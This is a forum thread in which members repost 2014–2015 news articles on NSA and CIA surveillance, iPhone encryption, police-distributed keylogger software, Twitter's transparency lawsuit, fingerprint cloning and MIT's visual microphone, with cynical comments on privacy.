For its part, the U.S. government used Yahoo as an example to coerce other American tech giants, sharing the rulings against Yahoo with companies like Google, Facebook, and Apple.

This information comes to light today, as roughly 1,500 pages of documents pertaining to Yahoo's failed legal battle were released by Federal Judge William C. Bryson, who presides over the Foreign Intelligence Surveillance Court of Review. Yahoo requested the unsealing of the documents, and the company's Ron Bell says in this blog post that Yahoo is working to make these never-before-released documents available on Tumblr.

Now that the courts are unsealing documents surrounding PRISM and other national surveillance programs, it's possible that we'll hear about other tech companies and whether they resisted the NSA's requests for sweeping data dumps. Judging by what we've learned today, Yahoo tried to stick up for its users' privacy—until it couldn't afford to. [The Washington Post]

http://gizmodo.com/the-nsa-was-going-to-fine-yahoo-250k-a-day-if-it-didnt-1633677548 (http://gizmodo.com/the-nsa-was-going-to-fine-yahoo-250k-a-day-if-it-didnt-1633677548)

Hah... other companies that "resisted" would soon be fined into submission or either be shut down, banned or PRISM would hack into their system regardless. There is no option.
Title: Re: they know what you are doing
Post by: Amaterasu on September 15, 2014, 02:51:37 pm
Resistance is futile?
Title: Re: they know what you are doing
Post by: sky otter on September 16, 2014, 02:16:46 pm


  NO  IT'S  NOT
Title: Re: they know what you are doing
Post by: Amaterasu on September 16, 2014, 03:37:14 pm
Glad to hear You say it.  [smile]  I was just asking a question and there the answer is.
Title: Re: they know what you are doing
Post by: sky otter on September 19, 2014, 11:25:15 am
http://news.msn.com/world/ap-exclusive-cia-halts-spying-in-europe



AP EXCLUSIVE: CIA halts spying in Europe


WASHINGTON (AP) — The CIA has curbed spying on friendly governments in Western Europe in response to the furor over a German caught selling secrets to the United States and the Edward Snowden revelations of classified information held by the National Security Agency, according to current and former U.S. officials.


The pause in decades of espionage, which remains partially in effect, was designed to give CIA officers time to examine whether they were being careful enough and to evaluate whether spying on allies is worth running the risk of discovery, said a U.S. official who has been briefed on the situation.

Under the stand-down order, case officers in Europe largely have been forbidden from undertaking "unilateral operations" such as meeting with sources they have recruited within allied governments. Such clandestine meetings are the bedrock of spying.

CIA officers are still allowed to meet with their counterparts in the host country's intelligence service, conduct joint operations with host country services and conduct operations with the approval of the host government. Recently, unilateral operations targeting third country nationals—Russians in France, for example—were restarted. But most meetings with sources who are host nationals remain on hold, as do new recruitments.

The CIA declined to comment.

James Clapper, the U.S. director of national intelligence, said during a public event Thursday that the U.S. is assuming more risk because it has stopped spying on "specific targets," though he didn't spell out details.

Spying stand-downs are common after an operation is compromised, but "never this long or this deep," said a former CIA official, who, like others interviewed for this story, spoke on condition of anonymity because it's illegal to discuss classified material or activities. The pause, which has been in effect for about two months, was ordered by senior CIA officials through secret cables.

The current stand-down was part of the fallout from the July 2 arrest of a 31-year-old employee of the German intelligence service. Suspected of spying for Russia, he told authorities he passed 218 German intelligence documents to the CIA.

In a second case, authorities searched the home and office of a German defense official suspected of spying for the U.S., but he denied doing so, and no charges have been filed against him.
A few days later, Germany asked the CIA station chief in Berlin to leave the country, an unprecedented demand from a U.S. ally. The move demonstrated how seriously the Germans were taking the situation, having already been stung by revelations made by Snowden, a former NSA systems administrator, that the agency had tapped German chancellor Angela Merkel's mobile phone.

The NSA disclosure infuriated Merkel, who demanded explanations from President Barack Obama. It embarrassed both world leaders and has left many Germans skeptical about cooperating with the U.S.

CIA managers were worried that the incident could lead European security services to begin closely watching CIA personnel. Many agency officers in Europe, operating out of U.S. embassies, have declared their status as intelligence operatives to the host country.

The spying stand-down comes at an inopportune time, with the U.S. worried about Europeans extremists going to fight in Syria, Europe's response to Russian aggression and European hostility to American technology companies following revelations the companies turned over data to the NSA. While the U.S. cooperates closely with Europe against terrorism, spying can help American officials understand what their allies are planning and thinking, whether about counterterrorism or trade talks.

The "EUR" division, as it is known within the CIA, covers Canada, Western Europe and Turkey. While spying on Western European allies is not a top priority, Turkey is considered a high priority target — an Islamic country that talks to U.S. adversaries such as Iran, while sharing a border with Syria and Iraq. It was not known to what extent the stand-down affected operations in Turkey.

European countries also are used as safe venues to conduct meetings between CIA officers and their sources from the Middle East and other high priority areas. Those meetings have been rerouted to other locales while the pause is in place.

The European Division staff has long been considered among the most risk-averse in the agency, several former case officers said, speaking on condition of anonymity because they weren't authorized to discuss secret intelligence matters by name.

A former CIA officer who worked under non-official cover wrote a 2008 book in which he described a number of operational "stand-downs," in Europe, including one in France in 1998 because of the World Cup soccer championship, and another in a European country in 2005, in response to unspecified security threats.

The former officer, whose true name has not been made public, wrote "The Human Factor: Inside the CIA's Dysfunctional Intelligence Culture," under a pseudonym, Ishmael Jones. He is a former Marine who served 15 years in the agency before resigning in 2006. The CIA acknowledged his status as a case officer when it successfully sued him for publishing the book without first submitting it for pre-publication censorship, as he was required to do under his secrecy agreement.

The CIA last faced that sort of blowback from a European ally in 1996, when several of its officers were ordered to leave France. An operation to uncover French positions on world trade talks was unraveled by French authorities because of poor CIA tactics, according to a secret CIA inspector general report, details of which were leaked to reporters.

The Paris flap left the EUR division much less willing to mount risky espionage operations, many former case officers have said.

Title: Re: they know what you are doing
Post by: burntheships on September 19, 2014, 12:27:20 pm
Apple Can't Give Your Data to the NSA

Tim Cook - Apple CEO

"Apple cannot bypass your passcode and therefore cannot access this data. So it’s not technically feasible for us to respond to government warrants for the extraction of this data from devices in their possession running iOS 8.”


"We can no longer decrypt iPhones for law enforcement, starting w/ iOS 8. Suck it NSA http://t.co/n5xhRNUNM6"
https://twitter.com/csoghoian/status/512414023871381504/photo/1

However, the phone carriers continue to make available the communications
accross the network. Good work though, Apple! Thanks!  ;)
Title: Re: they know what you are doing
Post by: Pimander on September 19, 2014, 12:54:54 pm
I don't believe for a second that the US has stood down from spying on its allies. ::)
Title: Re: they know what you are doing
Post by: Ellirium113 on September 19, 2014, 02:03:49 pm
It really doesn't matter because anything going to or being sent from the phone WILL still be intercepted so aside from the ORIGIONAL factory default program they will STILL know everything other than maybe notes to yourself that never leave the device.
Title: Re: they know what you are doing
Post by: burntheships on September 19, 2014, 02:17:07 pm
I don't believe for a second that the US has stood down from spying on its allies. ::)

I dont believe it either  ;D

anything going to or being sent from the phone WILL still be intercepted so aside from the ORIGIONAL factory default program they will STILL know everything other than maybe notes to yourself that never leave the device.

Yes, true enough ( I was being slightly sarcastic in my thanks to Apple)
Its not really much in our favor; not unless the device was needed for evidence
of some kind..... is NSA snooping intercept considered admissable? I suppose in police matters, yes?









Title: Re: they know what you are doing
Post by: zorgon on September 19, 2014, 03:36:05 pm
So the NSA is snooping on us...

We needed Edward Snowden to tell us that in 2014. Now its all over facebook, people shouting out in indignation....

... and yet  not ONE has stopped posting or sharing personal info

 ::)

And meanwhile we at Pegasus have been saying that for YEARS  even posted detailed info on the listening posts Echelon, NSA data sites NSA super computers, MUOS posts (cell phone intercept stations)

Heck Walt Handlesman even made a cartoon back in 2003 and that was when they were tapping phone line

[youtube]3knYQaK1yDc[/youtube]

("s" removed from the "https" in the video link)
Title: Re: they know what you are doing
Post by: Ellirium113 on September 27, 2014, 10:32:06 am
The world embraces new spying toy... Iphone 6.

iPhone? It's a spyphone: Apple devices can record your every movement


Quote
It is tracking your every move – recording the exact time you left for work, where you bought your coffee and where you like to shop.

But this isn’t a futuristic spy drone or some sinister Big Brother state – it’s the iPhone sitting in your pocket.

Hidden in Apple phones is a function which logs every journey. The iPhones are then able to analyse the data to figure out where you live and work, basing decisions on the frequency and timing of trips.

The function – called the Frequent Locations feature – was quietly introduced to iPhones a year ago. But since access to the programme is buried beneath five layers of settings menus, few people know it exists.

Apple claims the data never leaves your phone without your permission, and that it was only designed to improve mapping services.

But Professor Noel Sharkey, one of Britain’s leading computing experts, described Apple’s ability to track people as ‘terrifying’. ‘This is shocking,’ he said. ‘Every place you go, where you shop, where you have a drink – it is all recorded. This is a divorce lawyer’s dream. But what horrifies me is that it is so secret. Why did we not know about this?’

Smartphones have had the ability to track their owners’ movements since they were first installed with GPS chips and mapping functions.

But this feature, which is automatically installed on any iPhone with the iOS 7 or an iOS 8 operating system, is the first to display the movements clearly on a map. The phone records the date of every one of your journeys, your time of arrival and departure and how many times you have been to each address.


http://www.dailymail.co.uk/sciencetech/article-2771566/iPhone-It-s-spyphone-Apple-devices-record-movement.html (http://www.dailymail.co.uk/sciencetech/article-2771566/iPhone-It-s-spyphone-Apple-devices-record-movement.html)
Title: Re: they know what you are doing
Post by: sky otter on September 27, 2014, 10:47:29 am

ha ha .. and from this article.. another reason to have one....can anyone say SETUP  :(



http://www.nytimes.com/2014/09/27/technology/iphone-locks-out-the-nsa-signaling-a-post-snowden-era-.html?_r=0



Signaling Post-Snowden Era, New iPhone Locks Out N.S.A.


By DAVID E. SANGER and BRIAN X. CHENSEPT. 26, 2014

WASHINGTON — Devoted customers of Apple products these days worry about whether the new iPhone 6 will bend in their jean pockets. The National Security Agency and the nation’s law enforcement agencies have a different concern: that the smartphone is the first of a post-Snowden generation of equipment that will disrupt their investigative abilities.

The phone encrypts emails, photos and contacts based on a complex mathematical algorithm that uses a code created by, and unique to, the phone’s user — and that Apple says it will not possess.

The result, the company is essentially saying, is that if Apple is sent a court order demanding that the contents of an iPhone 6 be provided to intelligence agencies or law enforcement, it will turn over gibberish, along with a note saying that to decode the phone’s emails, contacts and photos, investigators will have to break the code or get the code from the phone’s owner.

Breaking the code, according to an Apple technical guide, could take “more than 5 1/2 years to try all combinations of a six-character alphanumeric passcode with lowercase letters and numbers.” (Computer security experts question that figure, because Apple does not fully realize how quickly the N.S.A. supercomputers can crack codes.)

Already the new phone has led to an eruption from the director of the F.B.I., James B. Comey. At a news conference on Thursday devoted largely to combating terror threats from the Islamic State, Mr. Comey said, “What concerns me about this is companies marketing something expressly to allow people to hold themselves beyond the law.”

He cited kidnapping cases, in which exploiting the contents of a seized phone could lead to finding a victim, and predicted there would be moments when parents would come to him “with tears in their eyes, look at me and say, ‘What do you mean you can’t’ ” decode the contents of a phone.

“The notion that someone would market a closet that could never be opened — even if it involves a case involving a child kidnapper and a court order — to me does not make any sense.”



Apple declined to comment. But officials inside the intelligence agencies, while letting the F.B.I. make the public protests, say they fear the company’s move is the first of several new technologies that are clearly designed to defeat not only the N.S.A., but also any court orders to turn over information to intelligence agencies. They liken Apple’s move to the early days of Swiss banking, when secret accounts were set up precisely to allow national laws to be evaded.

“Terrorists will figure this out,” along with savvy criminals and paranoid dictators, one senior official predicted, and keep their data just on the iPhone 6. Another said, “It’s like taking out an ad that says, ‘Here’s how to avoid surveillance — even legal surveillance.’ ”

The move raises a critical issue, the intelligence officials say: Who decides what kind of data the government can access? Until now, those decisions have largely been a matter for Congress, which passed the Communications Assistance for Law Enforcement Act in 1994, requiring telecommunications companies to build into their systems an ability to carry out a wiretap order if presented with one. But despite intense debate about whether the law should be expanded to cover email and other content, it has not been updated, and it does not cover content contained in a smartphone.


At Apple and Google, company executives say the United States government brought these changes on itself. The revelations by the former N.S.A. contractor Edward J. Snowden not only killed recent efforts to expand the law, but also made nations around the world suspicious that every piece of American hardware and software — from phones to servers made by Cisco Systems — have “back doors” for American intelligence and law enforcement.

Surviving in the global marketplace — especially in places like China, Brazil and Germany — depends on convincing consumers that their data is secure.

Timothy D. Cook, Apple’s chief executive, has emphasized that Apple’s core business is to sell devices to people. That distinguishes Apple from companies that make a profit from collecting and selling users’ personal data to advertisers, he has said.

This month, just before releasing the iPhone 6 and iOS 8, Apple took steps to underscore its commitment to customer privacy, publishing a revised privacy policy on its website.

The policy described the encryption method used in iOS 8 as so deep that Apple could no longer comply with government warrants asking for customer information to be extracted from devices. “Unlike our competitors, Apple cannot bypass your passcode, and therefore cannot access this data,” the company said.

Under the new encryption method, only entering the passcode can decrypt the device. (Hypothetically, Apple could create a tool to hack into the device, but legally the company is not required to do that.)
Jonathan Zdziarski, a security researcher who has taught forensics courses to law enforcement agencies on collecting data from iPhones, said to think of the encryption system as a series of lockers. In the older version of iOS, there was always at least one locker that was unlocked, which Apple could enter to grab certain files like photos, call history and notes, in response to a legal warrant.

“Now what they’re saying is, ‘We stopped using that locker,’ ” Mr. Zdziarski said. “We’re using a locker that actually has a combination on it, and if you don’t know the combination, then you can’t get inside. Unless you take a sledgehammer to the locker, there’s no way we get to the files.”

The new security in iOS 8 protects information stored on the device itself, but not data stored on iCloud, Apple’s cloud service. So Apple will still be able to obtain some customer information stored on iCloud in response to government requests.

Google has also started giving its users more control over their privacy. Phones using Google’s Android operating system have had encryption for three years. It is not the default setting, however, so to encrypt their phones, users have to go into their settings, turn it on, and wait an hour or more for the data to be scrambled.

That is set to change with the next version of Android, set for release in October. It will have encryption as the default, “so you won’t even have to think about turning it on,” Google said in a statement.


A Google spokesman declined to comment on Mr. Comey’s suggestions that stronger encryption could hinder law enforcement investigations.

Mr. Zdziarski said that concerns about Apple’s new encryption to hinder law enforcement seemed overblown. He said there were still plenty of ways for the police to get customer data for investigations. In the example of a kidnapping victim, the police can still request information on call records and geolocation information from phone carriers like AT&T and Verizon Wireless.

“Eliminating the iPhone as one source I don’t think is going to wreck a lot of cases,” he said. “There is such a mountain of other evidence from call logs, email logs, iCloud, Gmail logs. They’re tapping the whole Internet.”

 


David E. Sanger reported from Washington, and Brian X. Chen from San Francisco. Conor Dougherty contributed reporting from San Francisco.

A version of this article appears in print on September 27, 2014, on page A1 of the New York edition with the headline: Signaling Post-Snowden Era, New iPhone Locks Out N.S.A..







also
 http://www.thelivingmoon.com/forum/index.php?topic=7406.0;topicseen
Title: Re: they know what you are doing
Post by: sky otter on October 04, 2014, 02:06:22 pm


 another non surprise...sigh





 
 
Cops Gave Parents Child Safety Software That Can Be Used For Spying
 

 Posted:  10/02/2014 1:29 pm EDT    Updated:  10/03/2014 4:59 pm EDT

Gerry Smith Become a fan
Gerald.Smith@huffingtonpost.com
 

Law enforcement agencies across the country have given away computer software to families that puts them at risk of spying, according to a new report.

The software, known as ComputerCop, is marketed by police departments as a way for parents to protect their children from online predators. But the software also contains a keylogger, or a feature that can record every keyboard stroke.

Keyloggers are often used by hackers to spy on victims and steal sensitive information. The feature could “expose its users to the same predators, identity thieves, and bullies that police claim the software protects against,” according to a report released Wednesday by the Electronic Frontier Foundation.

 ComputerCop allows parents to have those recorded online chats emailed to them. The emails, however, are sent through third-party servers without encryption, the EFF found. EFF researcher Dave Maass called the lack of encryption "troubling" because it make it possible for a bad actor to snoop on conversations if the child's computer is connected to a public Wi-Fi network.

Maass said the software, if misused, also poses privacy risks for adults.

“Law enforcement agencies are passing around what amounts to a spying tool that could easily be abused by people who want to snoop on spouses, roommates, or coworkers,” Maass said in his report.

In an interview, Stephen DelGiorno, the president and founder of New York-based ComputerCop Corp., which has sold the software for over a decade, acknowledged that some versions contained a feature that captures keystrokes.

But DelGiorno said the software warns users that the keylogger is present and the feature is only turned on when a user types words related to sex, drugs or gangs. He said the software was designed for parents to monitor their children online.

"We're not trying to be a spy tool," he told HuffPost. "That was absolutely not our intention.”

The EFF said it identified 245 law enforcement agencies in more than 35 states that have distributed the software to families.
 The software comes on a CD.

The National Association of Police Organizations, a nationwide coalition of police units, did not respond to a request for comment about the EFF's findings. But at least one law enforcement agency has responded to the report.

The San Diego District Attorney’s Office, which distributed the software to families, issued an alert Wednesday, saying parents can avoid "potential privacy issues" with ComputerCop by turning off the keystroke-logging feature by clicking on the icon that says "Chat/Email" and not agreeing to the terms of service.

Maass recommended that parents who are concerned about their children’s online privacy should install "HTTPS Everywhere," a plug-in made by the foundation that connects a web browser to secure versions of websites by default.


 
   http://www.huffingtonpost.com/2014/10/02/police-give-away-software_n_5920784.html?utm_hp_ref=technology




More:
Computercop,   Spyware,   Online Privacy,   Internet Security,   Keylogger,   Electronic Frontier Foundation,   Computercop Safety,   Kids Safety Online,   Child Safety Software,   Computercop Spying,   Kids Online,   Digital Connections

Title: Re: they know what you are doing
Post by: sky otter on October 07, 2014, 01:15:59 pm


http://www.huffingtonpost.com/2014/10/07/twitter-transparency_n_5947216.html
 
 
Twitter Sues For Right To Disclose Details Of Government Surveillance Requests
 

 Posted:  10/07/2014 2:32 pm EDT    Updated:  1 hour ago
Gerry Smith Become a fan
Gerald.Smith@huffingtonpost.com





Twitter filed suit against the FBI and the Justice Department on Tuesday, seeking the ability to released more detailed information on government surveillance of Twitter users.

“We’ve tried to achieve the level of transparency our users deserve without litigation, but to no avail,” Twitter said in a blog post announcing the lawsuit, filed in federal court.

Like other major tech companies, Twitter releases reports disclosing how many government requests it receives for account information on its users. But the reports are vague because Twitter is prohibited by law from disclosing details on the types of surveillance requests it receives from the U.S. government.

Twitter is asking a judge for permission to publish its full transparency report and claims that restrictions on its ability to speak about government surveillance requests are unconstitutional under the First Amendment.

“It’s our belief that we are entitled under the First Amendment to respond to our users’ concerns and to the statements of U.S. government officials by providing information about the scope of U.S. government surveillance – including what types of legal process have not been received," Twitter said in its blog. "We should be free to do this in a meaningful way, rather than in broad, inexact ranges."

This is a breaking news story. Check back for updates.
 
   

More:
Twitter Transparency,   Twitter Lawsuit,   Transparency Reports,   Twitter Sues DOJ
Title: Re: they know what you are doing
Post by: Pimander on October 07, 2014, 03:46:33 pm
Why don't Twitter just reveal the details of Government requestsif they want to be open?  Come on Twitter, don't be scared.
Title: Re: they know what you are doing
Post by: Wrabbit2000 on October 07, 2014, 04:26:22 pm
Why don't Twitter just reveal the details of Government requestsif they want to be open?  Come on Twitter, don't be scared.

If I'm not mistaken, other companies tried that with various levels of effort to varying degrees of fail.

I believe the general message was that the company could see it end one of three ways. Giving in and doing what they were told. The end of their company, if it's a smaller one, or simply a 'regime change' to see those opposed replaced after being thrown to the street.

I really hope the Courts show some courage because I think the 1st Amendment issue here is pretty clear on the face of it, and without much need for endless litigation for it. Can Twitter speak about what it sees as abuses by Uncle Sam.... Well? Since Corps are seen as people, twitter has the rights of one. That INCLUDES the full and unrestrained right of free speech or redress of grievances, to use some of the technical terms. Go Twitter!

Here is hoping it's a short trip through the courts. It ought to be.
Title: Re: they know what you are doing
Post by: space otter on December 26, 2014, 08:51:16 pm

NSA Fesses Up To Improper Surveillance Of U.S. Citizens
 

 The Huffington Post    |  By  Igor Bobic   
  Posted:  12/26/2014 12:35 pm EST    Updated:  12/26/2014 12:59 pm EST


While you were drinking eggnog on Christmas Eve, the National Security Agency released hundreds of pages of heavily redacted documents detailing instances of improper surveillance on U.S. citizens in the last 12 years.

The batch of documents,
https://www.nsa.gov/public_info/declass/IntelligenceOversightBoard.shtml
 stretching from the fourth quarter of 2001 to the second quarter of 2013, was released in response to a Freedom of Information Act lawsuit filed by the American Civil Liberties Union. While some of the information was already publicly known, the reports shed more light on instances in which NSA employees either intentionally or unintentionally violated the law and collected the private data of American citizens.

"These materials show, over a sustained period of time, the depth and rigor of NSA’s commitment to compliance," read a statement on the NSA's website. "By emphasizing accountability across all levels of the enterprise, and transparently reporting errors and violations to outside oversight authorities, NSA protects privacy and civil liberties while safeguarding the nation and our allies."

The reports include instances in which analysts conducted unauthorized surveillance on U.S.

http://mobile.bloomberg.com/news/2014-12-24/spy-agency-to-release-reports-documenting-surveillance-errors.html?utm_source=huffingtonpost.com&utm_medium=referral&utm_campaign=pubexchange_article

organizations with the mistaken belief they were authorized to do so; instances in which analysts willfully ignored restrictions on surveillance; and even instances in which analysts intentionally abused the system to gather data on spouses or love interests. Such cases apparently occurred enough to have earned the name LOVEINT.
http://www.huffingtonpost.com/2013/08/25/nsa-romance_n_3813949.html


In one instance, an analyst who surveilled her own spouse was merely "advised to cease her actvities." In another, an analyst "mistakenly requested" surveillance “

http://traffic.pubexchange.com/a/3200bd6f-1bfa-430f-bb01-9a2c8e0c1984/c2a5c03d-d0a1-46cf-baa8-6f2e734aeb24/http%3A//mobile.bloomberg.com/news/2014-12-24/spy-agency-to-release-reports-documenting-surveillance-errors.html

of his own personal identifier instead of the selector associated with a foreign intelligence target." But the NSA maintained that employees who conducted improper surveillance were adequately held to account.

"Results returned from improper queries may be deleted, and the analyst who submitted the query may be subject to additional training or administrative action as appropriate," the agency said.

The USA Freedom Act, which would have ended the NSA's controversial domestic call tracking program, died in the Senate earlier this year despite support from an unlikely alliance that included Facebook, the ACLU and the National Rifle Association.

http://www.huffingtonpost.com/2014/12/26/nsa-spying-report_n_6382572.html

Title: Re: they know what you are doing
Post by: zorgon on December 26, 2014, 09:04:14 pm
The USA Freedom Act, which would have ended the NSA's controversial domestic call tracking program, died in the Senate earlier this year despite support from an unlikely alliance that included Facebook, the ACLU and the National Rifle Association.

So in effect  we are SCREWED

 ::)
Title: Re: they know what you are doing
Post by: space otter on December 31, 2014, 11:06:28 pm



So in effect  we are SCREWED

sure looks that way..this next one is what we can expect in the way of privacy..NONE



http://www.bbc.com/news/technology-30623611

29 December 2014 Last updated at 07:43 ET

.Politician's fingerprint 'cloned from photos' by hacker
 By Zoe Kleinman
 
Technology reporter, BBC News

picture details at link


 
Jan Krissler Mr Krissler provided details of his technique at a convention in Hamburg
A member of the Chaos Computer Club (CCC) hacker network claims to have cloned a thumbprint of a German politician by using commercial software and images taken at a news conference.

Jan Krissler says he replicated the fingerprint of defence minister Ursula von der Leyen using pictures taken with a "standard photo camera".

Mr Krissler had no physical print from Ms von der Leyen.

Fingerprint biometrics are already considered insecure, experts say.

Mr Krissler, also known as Starbug, was speaking at a convention for members of the CCC, a 31-year-old network that claims to be "Europe's largest association" of hackers.

'Wear gloves'
 
He told the audience he had obtained a close-up of a photo of Ms von der Leyen's thumb and had also used other pictures taken at different angles during a press event that the minister had spoken at in October.

German defence minister Ursula von der Leyen German defence minister Ursula von der Leyen's fingerprint was cloned just from photos, the hacker claims
Mr Krissler has suggested that "politicians will presumably wear gloves when talking in public" after hearing about his research.

Fingerprint identification is used as a security measure on both Apple and Samsung devices, and was used to identify voters at polling stations in Brazil's presidential election this year, but it is not considered to be particularly secure, experts say.

Living biometrics
 
"Biometrics that rely on static information like face recognition or fingerprints - it's not trivial to forge them but most people have accepted that they are not a great form of security because they can be faked," says cybersecurity expert Prof Alan Woodward from Surrey University.

"People are starting to look for things where the biometric is alive - vein recognition in fingers, gait [body motion] analysis - they are also biometrics but they are chosen because the person has to be in possession of them and exhibiting them in real life."


Simon Gompertz tried out Barclays' finger scanner when it launched

In September this year Barclays bank introduced finger vein recognition for business customers, and the technique is also used at cash machines in Japan and Poland.

Electronics firm Hitachi manufactures a device that reads the unique pattern of veins inside a finger. It only works if the finger is attached to a living person.

Trials in the intensive care unit at Southampton General Hospital in 2013 indicated that vein patterns are not affected by changes to blood pressure.

Title: Re: they know what you are doing
Post by: space otter on December 31, 2014, 11:11:13 pm



So in effect  we are SCREWED


well maybe not.. this might be of some help..but I don't hold out much hope for the majority of us






http://www.huffingtonpost.com/2014/12/31/nsa-documents-anonymous-online_n_6401066.html



Leaked NSA Documents Reveal How To Hide From The NSA
 


 The Huffington Post    |  By  Damon Beres   
 Posted:  12/31/2014 2:26 pm EST    Updated:  2 hours ago

If you want a truly anonymous life, then maybe it's time you learned about Tor, CSpace and ZRTP.

These three technologies could help people hide their activities from the National Security Agency, according to NSA documents newly obtained from the archive of former contractor Edward Snowden by the German magazine Der Spiegel.

The combination of Tor, CSpace and ZRTP (plus another anonymizing technology for good measure) results in levels of protection that the NSA deems "catastrophic" -- meaning the organization has "near-total loss/lack of insight to target communications," according to Der Spiegel.






"Although the documents are around two years old, experts consider it unlikely the agency's digital spies have made much progress in cracking these technologies," Spiegel's staff wrote.

In comparison, accessing somebody's Facebook messages is considered a "minor" task for the agency. Similarly, virtual private networks (or VPNs), which are widely used by companies, are easily accessed by the NSA, according to Der Spiegel's report, as are so-called "HTTPS" connections.

So, what are these services and what do you actually have to do to use them?

Tor is basically a network that offers an easy way for people to mask their location when communicating online. Anyone can download Tor's web browser -- it's available on Mac, Windows, Linux, and smartphones. It's not foolproof: When using Tor, you're advised to sacrifice the convenience of browser plugins, torrent downloads, and websites that don't use "HTTPS encryption" if you truly want to stay off the grid.

And that's just if you want to mask your online habits -- messaging and phone calls require more steps still, meaning you also have to add CSpace and ZRTP if you want to hide those from the NSA, according to Der Spiegel.

CSpace is a program that lets people text chat and transfer files, while ZRTP is a form of encryption that protects mobile phone calls and texting -- it's used in apps like RedPhone and Signal.

If that all sounds a bit daunting, anonymous living may not be for you. There are plenty of ways to stay relatively private online. But true anonymity is harder to achieve, and so coveted that some people will pay $629 for a special phone that purports to keep a user's information more secure.

As noted, the Snowden documents are a couple of years old; it's possible the NSA has found ways around these tools by now. But for the privacy-conscious, they are certain to work better than a tinfoil hat.


Title: Re: they know what you are doing
Post by: zorgon on January 01, 2015, 06:59:41 pm
I found a better way :P

Just invite them in... it will catch them off guard :D
Title: Re: they know what you are doing
Post by: space otter on January 12, 2015, 08:06:01 am

guess we should all know sign language by now .....but ...
I'm sure they will be reading out thoughts next   :(
What..they alredy are.     :o  ..bummer.    ::).



Eavesdrop on Conversations Using a Bag of Chips with MIT’s ‘Visual Microphone’
By Jason Dorrier
ON Aug 13, 2014
MIT’s ‘visual microphone’ is the kind of tool you’d expect Q to develop for James Bond, or to be used by nefarious government snoops listening in on Jason Bourne. It’s like these things except for one crucial thing—this is the real deal.

Describing their work in a paper, researchers led by MIT engineering graduate student, Abe Davis, say they’ve learned to recover entire conversations and music by simply videoing and analyzing the vibrations of a bag of chips or a plant’s leaves.

The researchers use a high-speed camera to record items—a candy wrapper, a chip bag, or a plant—as they almost invisibly vibrate to voices in conversation or music or any other sound. Then, using an algorithm based on prior research, they analyze the motions of each item to reconstruct the sounds behind each vibration.

The result? Whatever you say next to that random bag of chips lying on the kitchen table can and will be held against you in a court of law. (Hypothetically.)

The technique is accurate to a tiny fraction of a pixel and can reconstruct sound based on how the edges of those pixels change in color due to sound vibration. It works equally well in the same room or at a distance through soundproof glass.

The results are impressive (check out the video below). The researchers use their algorithm to digitally reassemble the notes and words of “Mary Had a Little Lamb” with surprising fidelity, and later, the Queen song “Under Pressure” with enough detail to identify it using the mobile music recognition app, Shazam.



[youtube]http://www.youtube.com/watch?v=FKXOucXB4a8[/youtube]






While the visual microphone is cool, it has limitations.

The group was able to make it work at a distance of about 15 feet, but they haven’t tested longer distances. And not all materials are created equal. Plastic bags, foam cups, and foil were best. Water and plants came next. The worst materials, bricks for example, were heavy and only poorly conveyed local vibrations.

Also, the camera matters. The best results were obtained from high-speed cameras capable of recording 2,000 to 6,000 frames per second (fps)—not the highest frame rate out there, but orders of magnitude higher than your typical smartphone.

Even so, the researchers were also able to reproduce intelligible sound using a special technique that exploits the way many standard cameras record video.

Your smartphone, for example, uses a rolling shutter. Instead of recording a frame all at once, it records it line by line, moving from side to side. This isn’t ideal for image quality, but the distortions it produces infer motion the MIT team's algorithm can read.

The result is more noisy than the sounds reconstructed using a high-speed camera. But theoretically, it lays the groundwork for reconstructing audio information, from a conversation to a song, using no more than a smartphone camera.

Primed by the news cycle, the mind is almost magnetically drawn to surveillance and privacy issues. And of course the technology could be used for both good and evil by law enforcement, intelligence agencies, or criminal organizations.

However, though the MIT method is passive, the result isn’t necessarily so different from current techniques. Surveillance organizations can already point a laser at an item in a room and infer sounds based on how the light scatters or how its phase changes.

And beyond surveillance and intelligence, Davis thinks it will prove useful as a way to visually analyze the composition of materials or the acoustics of a concert hall. And of course, the most amazing applications are the ones we can't imagine.

None of this would be remotely possible without modern computing. The world is full of information encoded in the unseen. We've extended our vision across the spectrum, from atoms to remote galaxies. Now, technology is enabling us to see sound.

What other hidden information will we one day mine with a few clever algorithms?

Image Credit: MIT Computer Science and Artificial Intelligence Laboratory (CSAIL)/YouTube




yikes.. edit to add the link

http://singularityhub.com/2014/08/13/eavesdrop-on-conversations-using-a-bag-of-chips-with-mits-visual-microphone/
Title: Re: they know what you are doing
Post by: zorgon on January 12, 2015, 02:41:57 pm
[youtube]UUo05Cjcjwo[/youtube]

https://www.youtube.com/watch?v=UUo05Cjcjwo
Title: Re: they know what you are doing
Post by: space otter on January 15, 2015, 03:25:51 pm

Apple Wants To Beam Your Fingerprint To New Devices



 The Huffington Post    |  By  Damon Beres   
 Posted:  01/15/2015 4:14 pm EST    Updated:  18 minutes ago



pic
A new patent suggests Apple might put your fingerprint data in the cloud. | US Patent And Trademark Office




Apple may be envisioning a world where buying a latte is as easy as holding up your index finger.

A patent application published online Thursday by the United States Patent and Trademark Office would allow the iPhone maker to share your fingerprint data between devices via the cloud.

Apple already uses fingerprint technology in Touch ID, which allows individuals to unlock their phones and iPads with a fingerprint. The process is supposedly more secure and convenient than typing in a password.

The new patent, which Apple has not officially been granted, extends this idea to cover uploading and storing fingerprint data. The patent describes downloading fingerprint data to a second device after it's been collected. That second device would have a biometric sensor of its own, which it would use to match the fingerprint data you've already offered.

It's an appealing idea because, in theory, your fingerprint could be associated with a profile including relevant information and settings. Perhaps you could easily set up a new iPhone to make it feel like your old device with the touch of your fingerprint. The patent also suggests that vendors equipped with touch devices could charge you for products -- like coffee -- using your fingerprint.

Apple Pay already lets you buy things using your fingerprint on your own device, but the new patent opens the door to making purchases without pulling anything out of your pocket. It's possible you could just touch a vendor's iPad or iPhone instead.

The patent seems to represent something of a reversal from Apple's current status quo with Touch ID. When the fingerprint scanner made its debut in 2013, the company explicitly stated that an individual's fingerprint data is "never stored on Apple servers, and it's never backed up to iCloud or anywhere else." The new patent, which covers a cloud computing device capable of "uploading and storing the enrollment finger biometric data," would seem to be a different approach.

A representative for Apple told The Huffington Post via email that the company does not comment on patents. Some experts and politicians have expressed concern over the idea of storing fingerprint data.

When Touch ID was first announced, Sen. Al Franken (D-Minn.) said he was worried about security, noting that compromised fingerprints could spell disaster for individuals -- you can get a new credit card, but you can't exactly replace your fingerprints.

"There is an additional security concern. Someone could steal your credentials. If hackers steal credit card numbers, they can steal fingerprints," Bruce Schneier, a security technologist, told HuffPost via phone.
